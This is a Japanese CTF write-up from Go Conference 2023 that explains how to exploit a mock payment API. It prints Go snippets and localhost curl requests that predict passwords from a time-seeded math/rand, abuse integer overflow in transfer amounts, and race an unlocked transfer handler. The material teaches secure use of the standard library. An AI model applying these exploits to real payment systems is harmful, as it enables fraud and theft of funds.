Go Conference 2023 CTF: 標準ライブラリの利用ミスに関わる脆弱性

セキュリティエンジニアの宮口です。 Go Conference 2023にてCTFの問題を用意させていただきました。

問題はこちらになります。

github.com

本記事では出題の意図、想定解などを解説します。 解けた方も解けなかった方もぜひ読んでみてください!

1. 問題の解説

今回出題した問題は、バンドルカードのような決済系のアプリケーションを想像して作成しました。 ユーザーが出来る操作は限られていて、以下の操作のみ可能です。

  • パスワードリセット
  • 残高確認
  • 送金

この問題では、残高が9,999,999を超えたときに残高確認APIにアクセスすることでフラグが出力されるようになっています。 まず既存のアカウントにアクセスすることを目指してもらい、次に残高を増やすことを目指してもらうという2段構成になっています。

2. 出題の意図

2021年頃に標準ライブラリにおける既知の脆弱性を利用した問題を出題していました。

tech.kanmu.co.jp

ここから発展させて何かできないかを考えて、 「言語や標準ライブラリに脆弱性がなくとも、標準ライブラリの利用方法によっては脆弱性になりうる」 というメッセージを伝えられる問題になれば良いなと考えて問題を作成しました。

3. 想定解

ここからは想定解の解説を行います。 想定解は以下の通りです。

  1. math/randの脆弱なシードを使って既存のアカウントにアクセス
  2. Integer overflowを使ってお金の増殖
  3. TOCTOUでアカウントの上限金額をバイパス

これらについて、順番に解説します。

1. math/randの脆弱なシードを使ってアカウントにアクセス

このAPIにはアカウント登録機能がありません。 残高確認や送金を行うためには、既存のアカウントにアクセスする必要があります。

アカウント名はハードコーディングされているためすぐに分かりますが、パスワードはgeneratePassword関数で生成されているため、すぐには分かりません。

パスワードが更新されているのは、初回起動時とパスワードリセットAPIの2箇所のみです。

users[req.Id].Password = generatePassword(time.Now().Unix())

パスワードリセットAPIに注目してみると、精度が秒のUnixtimeが利用されており、推測可能です。

以下のようなコードでパスワードを取得できます。

password := generatePassword(time.Now().Unix())
passwordReset(&User{Id: "alice"})
passwordReset(&User{Id: "bob"})
fmt.Println(password)

これで alice / bob のアカウントにアクセスできるようになりました。

2. Integer overflowを使ってお金の増殖

alice / bob のアカウントにアクセスできるようになりましたが、aliceもbobもお金を持っていないようです。 何かしらの脆弱性を悪用してお金を増やさなければなりません。 3つある機能のうち、お金の増減があるのは送金機能のみなので、ここに注目します。

まずは適当に送金してみます。

[~]$ curl -XPOST http://localhost:8080/transfer -H 'X-ID: alice' -H 'X-Password: FuPaccCEi9sr' -d '{"recipient_id": "bob", "amount": "1"}'
{"error": "Insufficient balance"}

[~]$ curl -XPOST http://localhost:8080/transfer -H 'X-ID: alice' -H 'X-Password: Qam86lQgE6c2' -d '{"recipient_id": "bob", "amount": "-1"}'
{"error": "Amount validation failed: -1"}

[~]$ curl -XPOST http://localhost:8080/transfer -H 'X-ID: alice' -H 'X-Password: FuPaccCEi9sr' -d '{"recipient_id": "bob", "amount": "9999999999999"}'
{"error": "Insufficient balance"}

[~]$ curl -XPOST http://localhost:8080/transfer -H 'X-ID: alice' -H 'X-Password: VBjIzAlNLhXj' -d '{"recipient_id": "bob", "amount": "-9999999999999"}'
{"error": "Amount validation failed: -1316134911"}

いろんな数値を試しながら送ってみると、-9999999999999を送金しようとしたときに-1316134911という数値がエラーメッセージに出ていることに気づきます。

なにやら数値がオーバーフローしていそうなので、送金する数値をうまく調整することでお金を生み出せそうです。

from := &User{Id: "alice", Password: "VBjIzAlNLhXj"}
to := &User{Id: "bob", Password: "VBjIzAlNLhXj"}

transfer(from, to, strconv.Itoa(math.MinInt64+1000000))

「int64型の最上位bitのみ立っている数値 (math.MinInt64) + 送金したい金額」を送ることで、バリデーションをすり抜けてお金を増やすことができました。

3. TOCTOUでアカウントの上限をバイパス

このアプリケーションには、アカウントの上限金額が設定されているため、最後にこれをバイパスしなければなりません。

   if users[to].Balance+int32(amount) > 9999999 {

コードを読んで気づくしか無いのですが、実は送金APIにはロックがありません。 そのため並列に送金APIを呼び出すと、上記のバリデーションをすり抜けてしまいます。

goroutineを使って、並列に送金APIを呼び出してみます。(環境や設定によっては並列で動かない場合もあります。)

var wg sync.WaitGroup
for i := 0; i < 10; i++ {
    wg.Add(1)
    go func() {
        defer wg.Done()
        transfer(from, to, strconv.Itoa(math.MinInt64+1000000))
    }()
}
wg.Wait()

flag, _ = balance(to)
fmt.Println(flag)

これでフラグゲットです!お疲れさまでした!

4. 終わりに

CTFは楽しんでいただけたでしょうか!

カンムではエンジニアを募集中です!今回のイベントをきっかけにカンムに少しでも興味を持った方は、ぜひカジュアル面談でお話しましょう。

kanmu.co.jp

最後に、今回も素晴らしい Go Conference の場を提供してくれた運営のみなさま、参加者のみなさま、どうもありがとうございました!